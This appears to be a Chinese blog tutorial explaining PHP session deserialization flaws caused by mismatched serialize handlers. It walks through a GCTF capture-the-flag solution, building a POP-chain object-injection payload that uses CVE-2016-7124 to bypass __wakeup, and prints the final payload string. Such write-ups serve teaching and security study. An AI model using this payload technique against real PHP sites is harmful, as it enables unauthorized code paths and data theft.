深入浅析PHP的session反序列化漏洞问题


Posted in PHP onJune 15, 2017

在php.ini中存在三项配置项:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

 在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

session 的目录在 /var/lib/php/sessions 中

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下,session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件内容为:

name|s:6:"spoock";

php_binary 引擎下文件内容为:

names:6:"spoock";

由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

访问后得到session文件中的内容如下:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此时模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)

<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
}
// var_dump($_SESSION);

访问该页面输出xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

GCTF上的一道session反序列化漏洞分析:

index.php中内容为:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
  $_SESSION['src'] = $_GET['src'];
  highlight_file(__FILE__);
  print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php 中的内容为:

/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
      return 'key is:{'.$this->token.'}';
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

思路如下:

这题中我们构造一个TOPC,在析构的时候则会调用echo $this->attr;

将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法

在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。

至于为什么(string)$this->obj会输出flag,后台写的login可能是__tostring吧。

其中反序列化字符串中会有一个__wakeup()函数清空里面的参数,我问可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。

最后的代码为:

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

最终payload为:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

以上所述是小编给大家介绍的PHP的session反序列化漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php通过COM类调用组件的实现代码
Jan 11 PHP
百度地图API使用方法详解
Aug 25 PHP
PHP判断字符串长度的两种方法很实用
Sep 22 PHP
PHP编程开发怎么提高编程效率 提高PHP编程技术
Nov 09 PHP
php 数组字符串搜索array_search技巧
Jul 05 PHP
PHP加密解密类实例代码
Jul 20 PHP
DEDE实现转跳属性文档在模板上调用出转跳地址
Nov 04 PHP
laravel创建类似ThinPHP中functions.php的全局函数
Nov 26 PHP
微信公众号OAuth2.0网页授权问题浅析
Jan 21 PHP
利用Laravel生成Gravatar头像地址的优雅方法
Dec 30 PHP
PHP实现动态创建XML文档的方法
Mar 30 PHP
php 多进程编程父进程的阻塞与非阻塞实例分析
Feb 22 PHP
PHP中phar包的使用教程
Jun 14 #PHP
iis 7下安装laravel 5.4环境的方法教程
Jun 14 #PHP
PHP中关键字interface和implements详解
Jun 14 #PHP
详解php中的implements 使用
Jun 13 #PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
Jun 13 #PHP
php 中的closure用法详解
Jun 12 #PHP
PHP依赖注入(DI)和控制反转(IoC)详解
Jun 12 #PHP
You might like
php中显示数组与对象的实现代码
2011/04/18 PHP
php学习笔记 数组的常用函数
2011/06/13 PHP
PHP系统命令函数使用分析
2013/07/05 PHP
如何在Ubuntu下启动Apache的Rewrite功能
2013/07/05 PHP
php $_SERVER windows系统与linux系统下的区别说明
2014/02/14 PHP
PHP格式化MYSQL返回float类型的方法
2016/03/30 PHP
Yii2增加验证码步骤详解
2016/04/25 PHP
PHPCMS手机站伪静态设置详细教程
2017/02/06 PHP
js showModalDialog弹出窗口实例详解
2014/01/07 Javascript
Javascript 构造函数详解
2014/10/22 Javascript
完美实现仿QQ空间评论回复特效
2015/05/06 Javascript
动态加载jQuery的方法
2015/06/16 Javascript
JavaScript缓冲运动实现方法(2则示例)
2016/01/08 Javascript
对vue下点击事件传参和不传参的区别详解
2018/09/15 Javascript
vue动态配置模板 'component is'代码
2019/07/04 Javascript
微信小程序实现点赞业务
2021/02/10 Javascript
Python3基础之基本运算符概述
2014/08/13 Python
Python基础中所出现的异常报错总结
2016/11/19 Python
python实现单线程多任务非阻塞TCP服务端
2017/06/13 Python
Python自动化运维_文件内容差异对比分析
2017/12/13 Python
Python获取二维矩阵每列最大值的方法
2018/04/03 Python
Pycharm+django2.2+python3.6+MySQL实现简单的考试报名系统
2019/09/05 Python
python实现简单银行管理系统
2019/10/25 Python
Python+OpenCV实现旋转文本校正方式
2020/01/09 Python
Jupyter notebook快速入门教程(推荐)
2020/05/18 Python
基于python实现音乐播放器代码实例
2020/07/01 Python
Python变量及数据类型用法原理汇总
2020/08/06 Python
python 爬虫请求模块requests详解
2020/12/04 Python
ECCO爱步官方旗舰店:丹麦鞋履品牌
2018/01/02 全球购物
经济学博士求职自荐信范文
2013/11/23 职场文书
服装设计专业自荐书范文
2013/12/30 职场文书
《白鹅》教学反思
2014/04/13 职场文书
鲁迅故居导游词
2015/02/05 职场文书
仓管员岗位职责范本
2015/04/01 职场文书
中国文明网2015年“向国旗敬礼”活动网上签名寄语
2015/09/24 职场文书
详解MySQL的内连接和外连接
2023/05/08 MySQL